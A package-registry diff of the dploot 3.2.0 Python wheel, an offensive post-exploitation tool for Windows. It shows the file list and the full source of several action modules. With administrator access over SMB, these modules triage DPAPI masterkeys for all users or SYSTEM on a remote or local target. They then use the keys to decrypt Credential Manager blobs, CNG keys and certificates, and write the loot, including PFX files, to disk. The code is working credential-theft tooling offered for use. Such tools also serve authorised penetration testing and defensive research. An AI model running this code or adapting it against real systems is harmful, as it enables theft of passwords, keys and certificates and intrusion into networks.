dploot 3.2.0__py2.py3-none-any.whl
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- dploot/__init__.py +0 -0
- dploot/action/__init__.py +0 -0
- dploot/action/backupkey.py +102 -0
- dploot/action/blob.py +167 -0
- dploot/action/browser.py +192 -0
- dploot/action/certificates.py +146 -0
- dploot/action/cng.py +129 -0
- dploot/action/credentials.py +132 -0
- dploot/action/machinecertificates.py +136 -0
- dploot/action/machinecng.py +120 -0
- dploot/action/machinecredentials.py +120 -0
- dploot/action/machinemasterkeys.py +117 -0
- dploot/action/machinetriage.py +158 -0
- dploot/action/machinevaults.py +127 -0
- dploot/action/masterkeys.py +200 -0
- dploot/action/mobaxterm.py +138 -0
- dploot/action/rdg.py +132 -0
- dploot/action/sccm.py +125 -0
- dploot/action/triage.py +187 -0
- dploot/action/vaults.py +132 -0
- dploot/action/wam.py +133 -0
- dploot/action/wifi.py +137 -0
- dploot/entry.py +98 -0
- dploot/lib/__init__.py +0 -0
- dploot/lib/consts.py +30 -0
- dploot/lib/crypto.py +415 -0
- dploot/lib/dpapi.py +302 -0
- dploot/lib/masterkey.py +75 -0
- dploot/lib/smb.py +517 -0
- dploot/lib/target.py +219 -0
- dploot/lib/utils.py +99 -0
- dploot/lib/wmi.py +61 -0
- dploot/triage/__init__.py +30 -0
- dploot/triage/backupkey.py +81 -0
- dploot/triage/browser.py +441 -0
- dploot/triage/certificates.py +444 -0
- dploot/triage/cng.py +165 -0
- dploot/triage/credentials.py +163 -0
- dploot/triage/masterkeys.py +279 -0
- dploot/triage/mobaxterm.py +653 -0
- dploot/triage/rdg.py +249 -0
- dploot/triage/sccm.py +302 -0
- dploot/triage/vaults.py +307 -0
- dploot/triage/wam.py +251 -0
- dploot/triage/wifi.py +424 -0
- dploot-3.2.0.dist-info/METADATA +865 -0
- dploot-3.2.0.dist-info/RECORD +50 -0
- dploot-3.2.0.dist-info/WHEEL +4 -0
- dploot-3.2.0.dist-info/entry_points.txt +3 -0
- dploot-3.2.0.dist-info/licenses/LICENSE +21 -0
dploot/action/cng.py
ADDED
|
@@ -0,0 +1,129 @@
|
|
|
1
|
+
import argparse
|
|
2
|
+
import logging
|
|
3
|
+
import sys
|
|
4
|
+
from typing import Callable, Tuple
|
|
5
|
+
|
|
6
|
+
from dploot.action.masterkeys import add_masterkeys_argument_group, parse_masterkeys_options
|
|
7
|
+
from dploot.lib.smb import DPLootSMBConnection
|
|
8
|
+
from dploot.lib.target import Target, add_target_argument_group
|
|
9
|
+
from dploot.lib.utils import dump_looted_files_to_disk, handle_outputdir_option
|
|
10
|
+
from dploot.triage.cng import CngTriage
|
|
11
|
+
from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file
|
|
12
|
+
|
|
13
|
+
|
|
14
|
+
NAME = "cng"
|
|
15
|
+
|
|
16
|
+
class CngAction:
|
|
17
|
+
def __init__(self, options: argparse.Namespace) -> None:
|
|
18
|
+
self.options = options
|
|
19
|
+
self.target = Target.from_options(options)
|
|
20
|
+
|
|
21
|
+
self.conn = None
|
|
22
|
+
self._is_admin = None
|
|
23
|
+
self.outputdir = None
|
|
24
|
+
self.masterkeys = None
|
|
25
|
+
self.pvkbytes = None
|
|
26
|
+
self.passwords = None
|
|
27
|
+
self.nthashes = None
|
|
28
|
+
|
|
29
|
+
self.outputdir = handle_outputdir_option(directory=self.options.export_dir)
|
|
30
|
+
|
|
31
|
+
if self.options.mkfile is not None:
|
|
32
|
+
try:
|
|
33
|
+
self.masterkeys = parse_masterkey_file(self.options.mkfile)
|
|
34
|
+
except Exception as e:
|
|
35
|
+
logging.error(str(e))
|
|
36
|
+
sys.exit(1)
|
|
37
|
+
|
|
38
|
+
self.pvkbytes, self.passwords, self.nthashes = parse_masterkeys_options(
|
|
39
|
+
self.options, self.target
|
|
40
|
+
)
|
|
41
|
+
|
|
42
|
+
def connect(self) -> None:
|
|
43
|
+
self.conn = DPLootSMBConnection(self.target)
|
|
44
|
+
if self.conn.connect() is None:
|
|
45
|
+
logging.error("Could not connect to %s" % self.target.address)
|
|
46
|
+
sys.exit(1)
|
|
47
|
+
|
|
48
|
+
def run(self) -> None:
|
|
49
|
+
self.connect()
|
|
50
|
+
logging.info(
|
|
51
|
+
"Connected to {} as {}\\{} {}\n".format(
|
|
52
|
+
self.target.address,
|
|
53
|
+
self.target.domain,
|
|
54
|
+
self.target.username,
|
|
55
|
+
("(admin)" if self.is_admin else ""),
|
|
56
|
+
)
|
|
57
|
+
)
|
|
58
|
+
if self.is_admin:
|
|
59
|
+
if self.masterkeys is None:
|
|
60
|
+
|
|
61
|
+
def masterkey_triage(masterkey):
|
|
62
|
+
masterkey.dump()
|
|
63
|
+
|
|
64
|
+
masterkeytriage = MasterkeysTriage(
|
|
65
|
+
target=self.target,
|
|
66
|
+
conn=self.conn,
|
|
67
|
+
pvkbytes=self.pvkbytes,
|
|
68
|
+
nthashes=self.nthashes,
|
|
69
|
+
passwords=self.passwords,
|
|
70
|
+
per_masterkey_callback=masterkey_triage
|
|
71
|
+
if not self.options.quiet
|
|
72
|
+
else None,
|
|
73
|
+
)
|
|
74
|
+
logging.info("Triage ALL USERS masterkeys\n")
|
|
75
|
+
self.masterkeys = masterkeytriage.triage_masterkeys()
|
|
76
|
+
print()
|
|
77
|
+
if self.outputdir is not None:
|
|
78
|
+
dump_looted_files_to_disk(self.outputdir, masterkeytriage.looted_files)
|
|
79
|
+
|
|
80
|
+
def cng_callback(cng):
|
|
81
|
+
if self.options.quiet:
|
|
82
|
+
cng.dump_quiet()
|
|
83
|
+
else:
|
|
84
|
+
cng.dump()
|
|
85
|
+
|
|
86
|
+
triage = CngTriage(
|
|
87
|
+
target=self.target,
|
|
88
|
+
conn=self.conn,
|
|
89
|
+
masterkeys=self.masterkeys,
|
|
90
|
+
per_cng_callback=cng_callback,
|
|
91
|
+
)
|
|
92
|
+
logging.info("Triage CNG files for ALL USERS\n")
|
|
93
|
+
triage.triage_cng()
|
|
94
|
+
if self.outputdir is not None:
|
|
95
|
+
dump_looted_files_to_disk(self.outputdir, triage.looted_files)
|
|
96
|
+
else:
|
|
97
|
+
logging.info("Not an admin, exiting...")
|
|
98
|
+
|
|
99
|
+
@property
|
|
100
|
+
def is_admin(self) -> bool:
|
|
101
|
+
if self._is_admin is not None:
|
|
102
|
+
return self._is_admin
|
|
103
|
+
|
|
104
|
+
self._is_admin = self.conn.is_admin()
|
|
105
|
+
return self._is_admin
|
|
106
|
+
|
|
107
|
+
|
|
108
|
+
def entry(options: argparse.Namespace) -> None:
|
|
109
|
+
a = CngAction(options)
|
|
110
|
+
a.run()
|
|
111
|
+
|
|
112
|
+
|
|
113
|
+
def add_subparser(subparsers: argparse._SubParsersAction) -> Tuple[str, Callable]:
|
|
114
|
+
subparser = subparsers.add_parser(
|
|
115
|
+
NAME, help="Dump users CNG files blob from local or remote target"
|
|
116
|
+
)
|
|
117
|
+
|
|
118
|
+
group = subparser.add_argument_group("cng options")
|
|
119
|
+
|
|
120
|
+
group.add_argument(
|
|
121
|
+
"-mkfile",
|
|
122
|
+
action="store",
|
|
123
|
+
help=("File containing {GUID}:SHA1 masterkeys mappings"),
|
|
124
|
+
)
|
|
125
|
+
|
|
126
|
+
add_masterkeys_argument_group(group)
|
|
127
|
+
add_target_argument_group(subparser)
|
|
128
|
+
|
|
129
|
+
return NAME, entry
|
|
@@ -0,0 +1,132 @@
|
|
|
1
|
+
import argparse
|
|
2
|
+
import logging
|
|
3
|
+
import sys
|
|
4
|
+
from typing import Callable, Tuple
|
|
5
|
+
from dploot.action.masterkeys import (
|
|
6
|
+
add_masterkeys_argument_group,
|
|
7
|
+
parse_masterkeys_options,
|
|
8
|
+
)
|
|
9
|
+
|
|
10
|
+
from dploot.lib.smb import DPLootSMBConnection
|
|
11
|
+
from dploot.lib.target import Target, add_target_argument_group
|
|
12
|
+
from dploot.lib.utils import dump_looted_files_to_disk, handle_outputdir_option
|
|
13
|
+
from dploot.triage.credentials import CredentialsTriage
|
|
14
|
+
from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file
|
|
15
|
+
|
|
16
|
+
NAME = "credentials"
|
|
17
|
+
|
|
18
|
+
|
|
19
|
+
class CredentialsAction:
|
|
20
|
+
def __init__(self, options: argparse.Namespace) -> None:
|
|
21
|
+
self.options = options
|
|
22
|
+
self.target = Target.from_options(options)
|
|
23
|
+
|
|
24
|
+
self.conn = None
|
|
25
|
+
self._is_admin = None
|
|
26
|
+
self.outputdir = None
|
|
27
|
+
self.masterkeys = None
|
|
28
|
+
self.pvkbytes = None
|
|
29
|
+
self.passwords = None
|
|
30
|
+
self.nthashes = None
|
|
31
|
+
|
|
32
|
+
self.outputdir = handle_outputdir_option(directory=self.options.export_dir)
|
|
33
|
+
|
|
34
|
+
if self.options.mkfile is not None:
|
|
35
|
+
try:
|
|
36
|
+
self.masterkeys = parse_masterkey_file(self.options.mkfile)
|
|
37
|
+
except Exception as e:
|
|
38
|
+
logging.error(str(e))
|
|
39
|
+
sys.exit(1)
|
|
40
|
+
|
|
41
|
+
self.pvkbytes, self.passwords, self.nthashes = parse_masterkeys_options(
|
|
42
|
+
self.options, self.target
|
|
43
|
+
)
|
|
44
|
+
|
|
45
|
+
def connect(self) -> None:
|
|
46
|
+
self.conn = DPLootSMBConnection(self.target)
|
|
47
|
+
if self.conn.connect() is None:
|
|
48
|
+
logging.error("Could not connect to %s" % self.target.address)
|
|
49
|
+
sys.exit(1)
|
|
50
|
+
|
|
51
|
+
def run(self) -> None:
|
|
52
|
+
self.connect()
|
|
53
|
+
logging.info(
|
|
54
|
+
"Connected to {} as {}\\{} {}\n".format(
|
|
55
|
+
self.target.address,
|
|
56
|
+
self.target.domain,
|
|
57
|
+
self.target.username,
|
|
58
|
+
("(admin)" if self.is_admin else ""),
|
|
59
|
+
)
|
|
60
|
+
)
|
|
61
|
+
if self.is_admin:
|
|
62
|
+
if self.masterkeys is None:
|
|
63
|
+
|
|
64
|
+
def masterkey_triage(masterkey):
|
|
65
|
+
masterkey.dump()
|
|
66
|
+
|
|
67
|
+
masterkeytriage = MasterkeysTriage(
|
|
68
|
+
target=self.target,
|
|
69
|
+
conn=self.conn,
|
|
70
|
+
pvkbytes=self.pvkbytes,
|
|
71
|
+
nthashes=self.nthashes,
|
|
72
|
+
passwords=self.passwords,
|
|
73
|
+
per_masterkey_callback=masterkey_triage
|
|
74
|
+
if not self.options.quiet
|
|
75
|
+
else None,
|
|
76
|
+
)
|
|
77
|
+
logging.info("Triage ALL USERS masterkeys\n")
|
|
78
|
+
self.masterkeys = masterkeytriage.triage_masterkeys()
|
|
79
|
+
print()
|
|
80
|
+
if self.outputdir is not None:
|
|
81
|
+
dump_looted_files_to_disk(self.outputdir, masterkeytriage.looted_files)
|
|
82
|
+
|
|
83
|
+
def credential_callback(credential):
|
|
84
|
+
if self.options.quiet:
|
|
85
|
+
credential.dump_quiet()
|
|
86
|
+
else:
|
|
87
|
+
credential.dump()
|
|
88
|
+
|
|
89
|
+
triage = CredentialsTriage(
|
|
90
|
+
target=self.target,
|
|
91
|
+
conn=self.conn,
|
|
92
|
+
masterkeys=self.masterkeys,
|
|
93
|
+
per_credential_callback=credential_callback,
|
|
94
|
+
)
|
|
95
|
+
logging.info("Triage Credentials for ALL USERS\n")
|
|
96
|
+
triage.triage_credentials()
|
|
97
|
+
if self.outputdir is not None:
|
|
98
|
+
dump_looted_files_to_disk(self.outputdir, triage.looted_files)
|
|
99
|
+
else:
|
|
100
|
+
logging.info("Not an admin, exiting...")
|
|
101
|
+
|
|
102
|
+
@property
|
|
103
|
+
def is_admin(self) -> bool:
|
|
104
|
+
if self._is_admin is not None:
|
|
105
|
+
return self._is_admin
|
|
106
|
+
|
|
107
|
+
self._is_admin = self.conn.is_admin()
|
|
108
|
+
return self._is_admin
|
|
109
|
+
|
|
110
|
+
|
|
111
|
+
def entry(options: argparse.Namespace) -> None:
|
|
112
|
+
a = CredentialsAction(options)
|
|
113
|
+
a.run()
|
|
114
|
+
|
|
115
|
+
|
|
116
|
+
def add_subparser(subparsers: argparse._SubParsersAction) -> Tuple[str, Callable]:
|
|
117
|
+
subparser = subparsers.add_parser(
|
|
118
|
+
NAME, help="Dump users Credential Manager blob from local or remote target"
|
|
119
|
+
)
|
|
120
|
+
|
|
121
|
+
group = subparser.add_argument_group("credentials options")
|
|
122
|
+
|
|
123
|
+
group.add_argument(
|
|
124
|
+
"-mkfile",
|
|
125
|
+
action="store",
|
|
126
|
+
help=("File containing {GUID}:SHA1 masterkeys mappings"),
|
|
127
|
+
)
|
|
128
|
+
|
|
129
|
+
add_masterkeys_argument_group(group)
|
|
130
|
+
add_target_argument_group(subparser)
|
|
131
|
+
|
|
132
|
+
return NAME, entry
|
|
@@ -0,0 +1,136 @@
|
|
|
1
|
+
import argparse
|
|
2
|
+
import logging
|
|
3
|
+
import sys
|
|
4
|
+
from typing import Callable, Tuple
|
|
5
|
+
|
|
6
|
+
from dploot.lib.smb import DPLootSMBConnection
|
|
7
|
+
from dploot.lib.target import Target, add_target_argument_group
|
|
8
|
+
from dploot.lib.utils import dump_looted_files_to_disk, handle_outputdir_option
|
|
9
|
+
from dploot.triage.certificates import CertificatesTriage
|
|
10
|
+
from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file
|
|
11
|
+
|
|
12
|
+
|
|
13
|
+
NAME = "machinecertificates"
|
|
14
|
+
|
|
15
|
+
|
|
16
|
+
class MachineCertificatesAction:
|
|
17
|
+
def __init__(self, options: argparse.Namespace) -> None:
|
|
18
|
+
self.options = options
|
|
19
|
+
|
|
20
|
+
self.target = Target.from_options(options)
|
|
21
|
+
|
|
22
|
+
self.conn = None
|
|
23
|
+
self._is_admin = None
|
|
24
|
+
self.masterkeys = None
|
|
25
|
+
self.outputdir = None
|
|
26
|
+
|
|
27
|
+
self.outputdir = handle_outputdir_option(directory=self.options.export_dir)
|
|
28
|
+
|
|
29
|
+
if self.options.mkfile is not None:
|
|
30
|
+
try:
|
|
31
|
+
self.masterkeys = parse_masterkey_file(self.options.mkfile)
|
|
32
|
+
except Exception as e:
|
|
33
|
+
logging.error(str(e))
|
|
34
|
+
sys.exit(1)
|
|
35
|
+
|
|
36
|
+
def connect(self) -> None:
|
|
37
|
+
self.conn = DPLootSMBConnection(self.target)
|
|
38
|
+
if self.conn.connect() is None:
|
|
39
|
+
logging.error("Could not connect to %s" % self.target.address)
|
|
40
|
+
sys.exit(1)
|
|
41
|
+
|
|
42
|
+
def run(self) -> None:
|
|
43
|
+
self.connect()
|
|
44
|
+
logging.info(
|
|
45
|
+
"Connected to {} as {}\\{} {}\n".format(
|
|
46
|
+
self.target.address,
|
|
47
|
+
self.target.domain,
|
|
48
|
+
self.target.username,
|
|
49
|
+
("(admin)" if self.is_admin else ""),
|
|
50
|
+
)
|
|
51
|
+
)
|
|
52
|
+
if self.is_admin:
|
|
53
|
+
if self.masterkeys is None:
|
|
54
|
+
|
|
55
|
+
def masterkey_triage(masterkey):
|
|
56
|
+
masterkey.dump()
|
|
57
|
+
|
|
58
|
+
masterkeytriage = MasterkeysTriage(
|
|
59
|
+
target=self.target,
|
|
60
|
+
conn=self.conn,
|
|
61
|
+
per_masterkey_callback=masterkey_triage
|
|
62
|
+
if not self.options.quiet
|
|
63
|
+
else None,
|
|
64
|
+
)
|
|
65
|
+
logging.info("Triage SYSTEM masterkeys\n")
|
|
66
|
+
self.masterkeys = masterkeytriage.triage_system_masterkeys()
|
|
67
|
+
print()
|
|
68
|
+
if self.outputdir is not None:
|
|
69
|
+
dump_looted_files_to_disk(self.outputdir, masterkeytriage.looted_files)
|
|
70
|
+
|
|
71
|
+
def certificate_callback(certificate):
|
|
72
|
+
if not self.options.dump_all and not certificate.clientauth:
|
|
73
|
+
return
|
|
74
|
+
if not self.options.quiet:
|
|
75
|
+
certificate.dump()
|
|
76
|
+
filename = f"{certificate.username}_{certificate.filename[:16]}.pfx"
|
|
77
|
+
logging.critical("Writting certificate to %s" % filename)
|
|
78
|
+
with open(filename, "wb") as f:
|
|
79
|
+
f.write(certificate.pfx)
|
|
80
|
+
|
|
81
|
+
certificate_triage = CertificatesTriage(
|
|
82
|
+
target=self.target,
|
|
83
|
+
conn=self.conn,
|
|
84
|
+
masterkeys=self.masterkeys,
|
|
85
|
+
per_certificate_callback=certificate_callback,
|
|
86
|
+
)
|
|
87
|
+
logging.info("Triage SYSTEM Certificates\n")
|
|
88
|
+
certificate_triage.triage_system_certificates()
|
|
89
|
+
if self.outputdir is not None:
|
|
90
|
+
dump_looted_files_to_disk(self.outputdir, certificate_triage.looted_files)
|
|
91
|
+
|
|
92
|
+
else:
|
|
93
|
+
logging.info("Not an admin, exiting...")
|
|
94
|
+
|
|
95
|
+
@property
|
|
96
|
+
def is_admin(self) -> bool:
|
|
97
|
+
if self._is_admin is not None:
|
|
98
|
+
return self._is_admin
|
|
99
|
+
|
|
100
|
+
self._is_admin = self.conn.is_admin()
|
|
101
|
+
return self._is_admin
|
|
102
|
+
|
|
103
|
+
|
|
104
|
+
def entry(options: argparse.Namespace) -> None:
|
|
105
|
+
a = MachineCertificatesAction(options)
|
|
106
|
+
a.run()
|
|
107
|
+
|
|
108
|
+
|
|
109
|
+
def add_subparser(subparsers: argparse._SubParsersAction) -> Tuple[str, Callable]:
|
|
110
|
+
subparser = subparsers.add_parser(
|
|
111
|
+
NAME, help="Dump system certificates from local or remote target"
|
|
112
|
+
)
|
|
113
|
+
|
|
114
|
+
group = subparser.add_argument_group("machinecertificates options")
|
|
115
|
+
|
|
116
|
+
group.add_argument(
|
|
117
|
+
"-mkfile",
|
|
118
|
+
action="store",
|
|
119
|
+
help=("File containing {GUID}:SHA1 masterkeys mappings"),
|
|
120
|
+
)
|
|
121
|
+
|
|
122
|
+
group.add_argument(
|
|
123
|
+
"-outputfile",
|
|
124
|
+
action="store",
|
|
125
|
+
help=("Export keys to file"),
|
|
126
|
+
)
|
|
127
|
+
|
|
128
|
+
group.add_argument(
|
|
129
|
+
"-dump-all",
|
|
130
|
+
action="store_true",
|
|
131
|
+
help=("Dump also certificates not used for client authentication"),
|
|
132
|
+
)
|
|
133
|
+
|
|
134
|
+
add_target_argument_group(subparser)
|
|
135
|
+
|
|
136
|
+
return NAME, entry
|
|
@@ -0,0 +1,120 @@
|
|
|
1
|
+
import argparse
|
|
2
|
+
import logging
|
|
3
|
+
import sys
|
|
4
|
+
from typing import Callable, Tuple
|
|
5
|
+
|
|
6
|
+
from dploot.lib.smb import DPLootSMBConnection
|
|
7
|
+
from dploot.lib.target import Target, add_target_argument_group
|
|
8
|
+
from dploot.lib.utils import dump_looted_files_to_disk, handle_outputdir_option
|
|
9
|
+
from dploot.triage.cng import CngTriage
|
|
10
|
+
from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file
|
|
11
|
+
|
|
12
|
+
|
|
13
|
+
NAME = "machinecng"
|
|
14
|
+
|
|
15
|
+
|
|
16
|
+
class MachineCngAction:
|
|
17
|
+
def __init__(self, options: argparse.Namespace) -> None:
|
|
18
|
+
self.options = options
|
|
19
|
+
|
|
20
|
+
self.target = Target.from_options(options)
|
|
21
|
+
|
|
22
|
+
self.conn = None
|
|
23
|
+
self._is_admin = None
|
|
24
|
+
self.masterkeys = None
|
|
25
|
+
self.outputdir = None
|
|
26
|
+
|
|
27
|
+
self.outputdir = handle_outputdir_option(directory=self.options.export_dir)
|
|
28
|
+
|
|
29
|
+
if self.options.mkfile is not None:
|
|
30
|
+
try:
|
|
31
|
+
self.masterkeys = parse_masterkey_file(self.options.mkfile)
|
|
32
|
+
except Exception as e:
|
|
33
|
+
logging.error(str(e))
|
|
34
|
+
sys.exit(1)
|
|
35
|
+
|
|
36
|
+
def connect(self) -> None:
|
|
37
|
+
self.conn = DPLootSMBConnection(self.target)
|
|
38
|
+
if self.conn.connect() is None:
|
|
39
|
+
logging.error("Could not connect to %s" % self.target.address)
|
|
40
|
+
sys.exit(1)
|
|
41
|
+
|
|
42
|
+
def run(self) -> None:
|
|
43
|
+
self.connect()
|
|
44
|
+
logging.info(
|
|
45
|
+
"Connected to {} as {}\\{} {}\n".format(
|
|
46
|
+
self.target.address,
|
|
47
|
+
self.target.domain,
|
|
48
|
+
self.target.username,
|
|
49
|
+
("(admin)" if self.is_admin else ""),
|
|
50
|
+
)
|
|
51
|
+
)
|
|
52
|
+
if self.is_admin:
|
|
53
|
+
if self.masterkeys is None:
|
|
54
|
+
|
|
55
|
+
def masterkey_triage(masterkey):
|
|
56
|
+
masterkey.dump()
|
|
57
|
+
|
|
58
|
+
masterkeytriage = MasterkeysTriage(
|
|
59
|
+
target=self.target,
|
|
60
|
+
conn=self.conn,
|
|
61
|
+
per_masterkey_callback=masterkey_triage
|
|
62
|
+
if not self.options.quiet
|
|
63
|
+
else None,
|
|
64
|
+
)
|
|
65
|
+
logging.info("Triage SYSTEM masterkeys\n")
|
|
66
|
+
self.masterkeys = masterkeytriage.triage_system_masterkeys()
|
|
67
|
+
print()
|
|
68
|
+
if self.outputdir is not None:
|
|
69
|
+
dump_looted_files_to_disk(self.outputdir, masterkeytriage.looted_files)
|
|
70
|
+
|
|
71
|
+
def cng_callback(cng_file):
|
|
72
|
+
if self.options.quiet:
|
|
73
|
+
cng_file.dump_quiet()
|
|
74
|
+
else:
|
|
75
|
+
cng_file.dump()
|
|
76
|
+
|
|
77
|
+
triage = CngTriage(
|
|
78
|
+
target=self.target,
|
|
79
|
+
conn=self.conn,
|
|
80
|
+
masterkeys=self.masterkeys,
|
|
81
|
+
per_cng_callback=cng_callback,
|
|
82
|
+
)
|
|
83
|
+
logging.info("Triage SYSTEM CNG files\n")
|
|
84
|
+
triage.triage_system_cng()
|
|
85
|
+
if self.outputdir is not None:
|
|
86
|
+
dump_looted_files_to_disk(self.outputdir, triage.looted_files)
|
|
87
|
+
|
|
88
|
+
else:
|
|
89
|
+
logging.info("Not an admin, exiting...")
|
|
90
|
+
|
|
91
|
+
@property
|
|
92
|
+
def is_admin(self) -> bool:
|
|
93
|
+
if self._is_admin is not None:
|
|
94
|
+
return self._is_admin
|
|
95
|
+
|
|
96
|
+
self._is_admin = self.conn.is_admin()
|
|
97
|
+
return self._is_admin
|
|
98
|
+
|
|
99
|
+
|
|
100
|
+
def entry(options: argparse.Namespace) -> None:
|
|
101
|
+
a = MachineCngAction(options)
|
|
102
|
+
a.run()
|
|
103
|
+
|
|
104
|
+
|
|
105
|
+
def add_subparser(subparsers: argparse._SubParsersAction) -> Tuple[str, Callable]:
|
|
106
|
+
subparser = subparsers.add_parser(
|
|
107
|
+
NAME, help="Dump system CNG files from local or remote target"
|
|
108
|
+
)
|
|
109
|
+
|
|
110
|
+
group = subparser.add_argument_group("machinecng options")
|
|
111
|
+
|
|
112
|
+
group.add_argument(
|
|
113
|
+
"-mkfile",
|
|
114
|
+
action="store",
|
|
115
|
+
help=("File containing {GUID}:SHA1 masterkeys mappings"),
|
|
116
|
+
)
|
|
117
|
+
|
|
118
|
+
add_target_argument_group(subparser)
|
|
119
|
+
|
|
120
|
+
return NAME, entry
|
|
@@ -0,0 +1,120 @@
|
|
|
1
|
+
import argparse
|
|
2
|
+
import logging
|
|
3
|
+
import sys
|
|
4
|
+
from typing import Callable, Tuple
|
|
5
|
+
|
|
6
|
+
from dploot.lib.smb import DPLootSMBConnection
|
|
7
|
+
from dploot.lib.target import Target, add_target_argument_group
|
|
8
|
+
from dploot.lib.utils import dump_looted_files_to_disk, handle_outputdir_option
|
|
9
|
+
from dploot.triage.credentials import CredentialsTriage
|
|
10
|
+
from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file
|
|
11
|
+
|
|
12
|
+
|
|
13
|
+
NAME = "machinecredentials"
|
|
14
|
+
|
|
15
|
+
|
|
16
|
+
class MachineCredentialsAction:
|
|
17
|
+
def __init__(self, options: argparse.Namespace) -> None:
|
|
18
|
+
self.options = options
|
|
19
|
+
|
|
20
|
+
self.target = Target.from_options(options)
|
|
21
|
+
|
|
22
|
+
self.conn = None
|
|
23
|
+
self._is_admin = None
|
|
24
|
+
self.masterkeys = None
|
|
25
|
+
self.outputdir = None
|
|
26
|
+
|
|
27
|
+
self.outputdir = handle_outputdir_option(directory=self.options.export_dir)
|
|
28
|
+
|
|
29
|
+
if self.options.mkfile is not None:
|
|
30
|
+
try:
|
|
31
|
+
self.masterkeys = parse_masterkey_file(self.options.mkfile)
|
|
32
|
+
except Exception as e:
|
|
33
|
+
logging.error(str(e))
|
|
34
|
+
sys.exit(1)
|
|
35
|
+
|
|
36
|
+
def connect(self) -> None:
|
|
37
|
+
self.conn = DPLootSMBConnection(self.target)
|
|
38
|
+
if self.conn.connect() is None:
|
|
39
|
+
logging.error("Could not connect to %s" % self.target.address)
|
|
40
|
+
sys.exit(1)
|
|
41
|
+
|
|
42
|
+
def run(self) -> None:
|
|
43
|
+
self.connect()
|
|
44
|
+
logging.info(
|
|
45
|
+
"Connected to {} as {}\\{} {}\n".format(
|
|
46
|
+
self.target.address,
|
|
47
|
+
self.target.domain,
|
|
48
|
+
self.target.username,
|
|
49
|
+
("(admin)" if self.is_admin else ""),
|
|
50
|
+
)
|
|
51
|
+
)
|
|
52
|
+
if self.is_admin:
|
|
53
|
+
if self.masterkeys is None:
|
|
54
|
+
|
|
55
|
+
def masterkey_triage(masterkey):
|
|
56
|
+
masterkey.dump()
|
|
57
|
+
|
|
58
|
+
masterkeytriage = MasterkeysTriage(
|
|
59
|
+
target=self.target,
|
|
60
|
+
conn=self.conn,
|
|
61
|
+
per_masterkey_callback=masterkey_triage
|
|
62
|
+
if not self.options.quiet
|
|
63
|
+
else None,
|
|
64
|
+
)
|
|
65
|
+
logging.info("Triage SYSTEM masterkeys\n")
|
|
66
|
+
self.masterkeys = masterkeytriage.triage_system_masterkeys()
|
|
67
|
+
print()
|
|
68
|
+
if self.outputdir is not None:
|
|
69
|
+
dump_looted_files_to_disk(self.outputdir, masterkeytriage.looted_files)
|
|
70
|
+
|
|
71
|
+
def credential_callback(credential):
|
|
72
|
+
if self.options.quiet:
|
|
73
|
+
credential.dump_quiet()
|
|
74
|
+
else:
|
|
75
|
+
credential.dump()
|
|
76
|
+
|
|
77
|
+
cred_triage = CredentialsTriage(
|
|
78
|
+
target=self.target,
|
|
79
|
+
conn=self.conn,
|
|
80
|
+
masterkeys=self.masterkeys,
|
|
81
|
+
per_credential_callback=credential_callback,
|
|
82
|
+
)
|
|
83
|
+
logging.info("Triage SYSTEM Credentials\n")
|
|
84
|
+
cred_triage.triage_system_credentials()
|
|
85
|
+
if self.outputdir is not None:
|
|
86
|
+
dump_looted_files_to_disk(self.outputdir, cred_triage.looted_files)
|
|
87
|
+
|
|
88
|
+
else:
|
|
89
|
+
logging.info("Not an admin, exiting...")
|
|
90
|
+
|
|
91
|
+
@property
|
|
92
|
+
def is_admin(self) -> bool:
|
|
93
|
+
if self._is_admin is not None:
|
|
94
|
+
return self._is_admin
|
|
95
|
+
|
|
96
|
+
self._is_admin = self.conn.is_admin()
|
|
97
|
+
return self._is_admin
|
|
98
|
+
|
|
99
|
+
|
|
100
|
+
def entry(options: argparse.Namespace) -> None:
|
|
101
|
+
a = MachineCredentialsAction(options)
|
|
102
|
+
a.run()
|
|
103
|
+
|
|
104
|
+
|
|
105
|
+
def add_subparser(subparsers: argparse._SubParsersAction) -> Tuple[str, Callable]:
|
|
106
|
+
subparser = subparsers.add_parser(
|
|
107
|
+
NAME, help="Dump system credentials from local or remote target"
|
|
108
|
+
)
|
|
109
|
+
|
|
110
|
+
group = subparser.add_argument_group("machinecredentials options")
|
|
111
|
+
|
|
112
|
+
group.add_argument(
|
|
113
|
+
"-mkfile",
|
|
114
|
+
action="store",
|
|
115
|
+
help=("File containing {GUID}:SHA1 masterkeys mappings"),
|
|
116
|
+
)
|
|
117
|
+
|
|
118
|
+
add_target_argument_group(subparser)
|
|
119
|
+
|
|
120
|
+
return NAME, entry
|